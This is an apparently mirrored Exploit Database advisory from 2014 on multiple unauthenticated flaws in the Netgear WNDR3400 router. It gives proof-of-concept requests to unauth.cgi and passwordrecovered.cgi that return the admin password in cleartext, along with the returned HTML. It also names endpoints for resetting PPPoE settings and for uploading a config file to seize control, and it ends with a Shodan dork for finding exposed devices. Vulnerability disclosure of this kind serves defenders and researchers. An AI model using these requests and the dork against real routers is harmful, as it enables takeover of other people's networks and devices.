Netgear WNDR3400 N600 Wireless Dual Band – Multiple Vulnerabilities

• Exploit Database
• 112 阅读

• 作者： Santhosh Kumar
  日期： 2014-04-15
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/32883/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106

  Title: Multiple vulnerabilities in NETGEAR N600 WIRELESS DUAL BAND WNDR3400 ==================================================================================== Notification Date:4/14/2014 Affected Vendor:NETGEAR N600 WIRELESS DUAL BAND WNDR3400 Firmware Version: Firmware Version 1.0.0.38 AND BELOW (ALL versions affected) Issue Types: password Disclosure File Uploading with AuthPPOPE settings Change Discovered by: Santhosh Kumar twitter: @security_b0x Issue status: No Patch >From the Vendors. grettings: @Anami2111 (anamika singh) -- creator of wihawk       ==================================================================================== Summary: ======== While i was lurking around the Netgear firmware today i came across various tweaking and others i was able to find a password disclosure,File uploading vulnerably which could compromise the entire router.as of now no patch from the vendor.   Password Disclosure: ==================== url: server/unauth.cgi?id=393087602 Generating with the 401 unauthorised error poc: Host: server:8080 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://server:8080/ Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 0<p class="MNUTitle">Router Password Recovered</p>   <table border="0" cellpadding="0" cellspacing="3" style="width:600px"> <col width="200" /> <col width="400" /> <tr> <td colspan="2" class="MNUText">You have successfully recovered the admin password.</td> </tr> <tr> <td class="MNUText" align="right">Router Admin Username</td> <td class="MNUText" align="left">admin</td> </tr> <tr> <td class="MNUText" align="right">Router Admin Password</td> <td class="MNUText" align="left">password</td> </tr> \<tr>   poc2:   server:8080/passwordrecovered.cgi?id=1738955828   <tr> <td colspan="2" class="MNUText">You have successfully recovered the admin password.</td> </tr> <tr> <td class="MNUText" align="right">Router Admin Username</td> <td class="MNUText" align="left">admin</td> </tr> <tr> <td class="MNUText" align="right">Router Admin Password</td> <td class="MNUText" align="left">0514</td> </tr> <tr> <td colspan="2" class="MNUText">You can now log in to the router using username "admin" and this recovered password.</td> </tr> <tr>   ==============================================================================================================================   Ppope account reset:   Netgear runs a utility called "netgear genie" which does not have proper authentication on reaching "genie_pppoe.htm "   which allows to reset the ppoe username which any basic authentication.   http://server/genie_pppoe.htm   ==============================================================================================================================   File Upload (router reset):   like the same one above the "http://server/genie_restore.htm"   the config file can be uploaded which leading to reseting the control to attackers username and password.   *.cfg file.     ============================================================================================================================== SHODAN DORK: wndr3400: 10198 for wndr3400           ******************************************************************************************************************************